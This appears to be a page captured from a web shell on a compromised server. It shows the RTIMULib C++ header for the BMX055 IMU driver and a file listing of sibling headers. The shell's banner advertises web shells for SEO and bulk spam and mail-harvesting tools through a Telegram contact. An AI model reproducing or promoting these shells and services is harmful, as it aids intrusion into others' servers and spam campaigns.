__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
////////////////////////////////////////////////////////////////////////////
//
//  This file is part of RTIMULib
//
//  Copyright (c) 2014-2015, richards-tech, LLC
//
//  Permission is hereby granted, free of charge, to any person obtaining a copy of
//  this software and associated documentation files (the "Software"), to deal in
//  the Software without restriction, including without limitation the rights to use,
//  copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
//  Software, and to permit persons to whom the Software is furnished to do so,
//  subject to the following conditions:
//
//  The above copyright notice and this permission notice shall be included in all
//  copies or substantial portions of the Software.
//
//  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
//  INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
//  PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
//  HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
//  OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
//  SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


#ifndef _RTIMUBMX055_H
#define	_RTIMUBMX055_H

#include "RTIMU.h"

class RTIMUBMX055 : public RTIMU
{
public:
    RTIMUBMX055(RTIMUSettings *settings);
    ~RTIMUBMX055();

    virtual const char *IMUName() { return "BMX055"; }
    virtual int IMUType() { return RTIMU_TYPE_BMX055; }
    virtual bool IMUInit();
    virtual int IMUGetPollInterval();
    virtual bool IMURead();

private:
    bool setGyroSampleRate();
    bool setGyroFSR();
    bool setAccelSampleRate();
    bool setAccelFSR();
    bool magInitTrimRegisters();
    bool setMagPreset();
    void processMagData(unsigned char *v_data_uint8_t, float& magX, float& magY, float& magZ);
    float bmm050_compensate_X_float(int16_t mag_data_x, uint16_t data_r);
    float bmm050_compensate_Y_float(int16_t mag_data_y, uint16_t data_r);
    float bmm050_compensate_Z_float(int16_t mag_data_z, uint16_t data_r);

    unsigned char m_gyroSlaveAddr;                          // I2C address of gyro
    unsigned char m_accelSlaveAddr;                         // I2C address of accel
    unsigned char m_magSlaveAddr;                           // I2C address of mag

    bool m_firstTime;                                       // if first sample

    RTFLOAT m_gyroScale;
    RTFLOAT m_accelScale;

    int8_t m_dig_x1;/**< trim x1 data */
    int8_t m_dig_y1;/**< trim y1 data */

    int8_t m_dig_x2;/**< trim x2 data */
    int8_t m_dig_y2;/**< trim y2 data */

    uint16_t m_dig_z1;/**< trim z1 data */
    int16_t m_dig_z2;/**< trim z2 data */
    int16_t m_dig_z3;/**< trim z3 data */
    int16_t m_dig_z4;/**< trim z4 data */

    uint8_t m_dig_xy1;/**< trim xy1 data */
    int8_t m_dig_xy2;/**< trim xy2 data */

    uint16_t m_dig_xyz1;/**< trim xyz1 data */
};

#endif // _RTIMUBMX055_H

Filemanager

Name Type Size Permission Actions
RTHumidity.h File 2.16 KB 0644
RTHumidityDefs.h File 2.9 KB 0644
RTHumidityHTS221.h File 2.36 KB 0644
RTHumidityHTU21D.h File 2.07 KB 0644
RTIMU.h File 8.47 KB 0644
RTIMUBMX055.h File 2.94 KB 0644
RTIMUBNO055.h File 1.74 KB 0644
RTIMUDefs.h File 38.23 KB 0644
RTIMUGD20HM303D.h File 3.51 KB 0644
RTIMUGD20HM303DLHC.h File 3.68 KB 0644
RTIMUGD20M303DLHC.h File 3.67 KB 0644
RTIMULSM9DS0.h File 3.45 KB 0644
RTIMULSM9DS1.h File 3.4 KB 0644
RTIMUMPU9150.h File 4.04 KB 0644
RTIMUMPU9250.h File 4 KB 0644
RTIMUNull.h File 2.08 KB 0644
RTPressure.h File 2.16 KB 0644
RTPressureBMP180.h File 3 KB 0644
RTPressureDefs.h File 3.75 KB 0644
RTPressureLPS25H.h File 1.99 KB 0644
RTPressureMS5611.h File 2.39 KB 0644
RTPressureMS5637.h File 2.39 KB 0644
Filemanager